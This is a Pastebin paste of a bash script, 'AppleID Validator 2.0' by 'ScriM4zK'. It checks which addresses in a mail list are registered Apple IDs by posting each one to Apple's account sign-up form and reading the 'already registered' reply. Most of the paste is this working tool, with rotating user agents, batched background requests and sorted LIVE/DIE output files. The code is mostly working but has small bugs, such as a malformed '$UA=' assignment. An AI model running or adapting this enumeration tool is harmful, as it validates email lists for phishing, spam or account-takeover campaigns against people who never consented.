daily pastebin goal
56%
SHARE
TWEET

Untitled

a guest Sep 14th, 2018 209 in 20 days
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/bin/bash
  2. # Powered by : ScriM4zK
  3. # Thanks to : Fake Friends
  4. # Priv8 AppleID Valid Checker
  5. # Updated 11 June 2k18
  6.  
  7. header(){
  8. CY='\e[36m'
  9. GR='\e[34m'
  10. OG='\e[92m'
  11. WH='\e[37m'
  12. RD='\e[31m'
  13. YL='\e[33m'
  14. BF='\e[34m'
  15. DF='\e[39m'
  16. OR='\e[33m'
  17. PP='\e[35m'
  18. B='\e[1m'
  19. CC='\e[0m'
  20. cat << "EOF"
  21. *********************************************************
  22. * ______   ____    ___    ___                           *
  23. * |       |    \   |  \  /  |      ******************************
  24. * |____   |        |   \/   | 4zK  * AppleID Validator 2.0      *
  25. *      |  |        |        |      * Mail: scrim4zk@hotmail.com *
  26. * _____|  |____/   |        |      ******************************
  27. *                                   New 100% Accurate    *
  28. *********************************************************          
  29. EOF
  30. printf "\n"
  31. }
  32. $UA=$(cat ua.txt | sort -R  | head -1)
  33.  
  34. ngecek_email(){ # CHECK VALID
  35.     local jsessionid=$(curl -s --head https://ams.apple.com/pages/SignUp.jsf | grep -Po "(?<=Set-Cookie: JSESSIONID=)[^;]*")
  36.     local used=$(curl -s -D - "https://ams.apple.com/pages/SignUp.jsf;jsessionid=$JSESSIONID" \
  37.     -H "Cookie: JSESSIONID=$jsessionid;" \
  38.     -H "User-Agent: $5" \
  39.     -d "SignUpForm=SignUpForm&SignUpForm%3AemailField=$1&SignUpForm%3AblueCenter=Continue&javax.faces.ViewState=j_id1")
  40.     if [[ $used =~ "200 OK" ]]; then
  41.         if [[ $used =~ "This email address is already registered as an Apple ID, please sign in." ]]; then
  42.             printf "${B}${OG}[LIVE]${CC} ${1} => ${PP}(Checked At $(date))${DF} - ${CY}${B}AppleVal | ScriM4zK${CC} \n"
  43.             echo $1 >> $2  
  44.         else
  45.             printf "${B}${RD}[DIE]${CC} ${1} => ${PP}(Checked At $(date))${DF} - ${CY}${B}AppleVal | ScriM4zK${CC} \n"
  46.             echo $1 >> $3  
  47.         fi
  48.     else
  49.         printf "${B}${OR}[UNKNOWN]${CC} ${1} => ${PP}(Checked At $(date))${DF} - ${CY}${B}AppleVal | ScriM4zK${CC} \n"
  50.         echo $1 >> $4
  51.     fi
  52. }
  53.  
  54. # CHECK SPECIAL VAR FOR MAILIST
  55. if [[ -z $1 ]]; then
  56.     header
  57.     printf "To Use $0 <mailist.txt> \n"
  58.     exit 1
  59. fi
  60.  
  61. # CALL HEADER
  62. header
  63. # CHECK OUTPUT FOLDER
  64. Output='Output' # Change Output Folder
  65. if [[ ! -d $Output ]]; then
  66.     printf "${RD}[?]${DF} ${B}No output Folder${CC}\n"
  67.     printf "${BF}[+]${DF} ${B}Create Output Folder${CC}\n"
  68.     mkdir $Output
  69.     if [[ -d $Output ]]; then
  70.         printf "${OG}[+]${DF} ${B}Output Folder Created${CC}\n\n"
  71.     else
  72.         printf "${RD}[-]${DF} ${B}Output Folder Failed To Created${CC}\n"
  73.     fi
  74. else
  75.     printf "${OG}[+]${DF} ${B}Output Folder Found${CC}\n"
  76.     printf "${OG}[+]${DF} ${B}Use Output Folder${CC}\n\n"
  77. fi
  78.  
  79. # TOUCH OUTPUT FILE
  80. VALID="${Output}/valid.txt"
  81. INVALID="${Output}/invalid.txt"
  82. UNKNOWN="${Output}/unknown.txt"
  83. touch $VALID
  84. printf "$OG[+]${DF}${B} $VALID Created${CC}\n"
  85. touch $INVALID
  86. printf "$OG[+]${DF}${B} $INVALID Created${CC}\n"
  87. touch $UNKNOWN
  88. printf "$OG[+]${DF}${B} $UNKNOWN Created${CC}\n\n"
  89.  
  90. # CHECK LINES IN MAILIST
  91. lines=$(wc -l $1 | cut -f1 -d' ')
  92. printf "${OG}[+]${DF}${B} Found ${lines} mailist in ${1}${CC}\n\n"
  93.  
  94. # OPTIONAL
  95. persend=49
  96. setleep=5
  97.  
  98. # MAIN
  99. IFS=$'\r\n' GLOBIGNORE='*' command eval 'mailist=($(cat $1))'
  100. itung=1
  101. STARTTIME=$(date +%s)
  102. for (( i = 0; i < "${#mailist[@]}"; i++ )); do
  103. username="${mailist[$i]}"
  104. set_kirik=$(expr $itung % $persend)
  105.         if [[ $set_kirik == 0 && $itung > 0 ]]; then
  106.                 sleep $setleep
  107.         fi
  108.         ngecek_email $username $VALID $INVALID $UNKNOWN $UA &
  109.         grep -v -- "$username" $1 > temp && mv temp $1
  110.         itung=$[$itung+1]
  111. done
  112. wait
  113. ENDTIME=$(date +%s)
  114.  
  115. # RESULT
  116. printf "\n${PP}It takes $[$ENDTIME - $STARTTIME] seconds To Check ${lines} ${CC}\n"
  117.  
  118. #READ LINES OUTPUT
  119. T_VALID=$(wc -l $VALID | cut -f1 -d' ')
  120. T_INVALID=$(wc -l $INVALID | cut -f1 -d' ')
  121. T_UNKNOWN=$(wc -l $UNKNOWN | cut -f1 -d' ')
  122.  
  123. printf "LIVE : $T_VALID | DIE : $T_INVALID | UNKNOWN : $T_UNKNOWN\n$CC"
  124. printf "${B}${BF}-===[ Valid AppleID v2.0 ]===-${CC}\n\n"
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top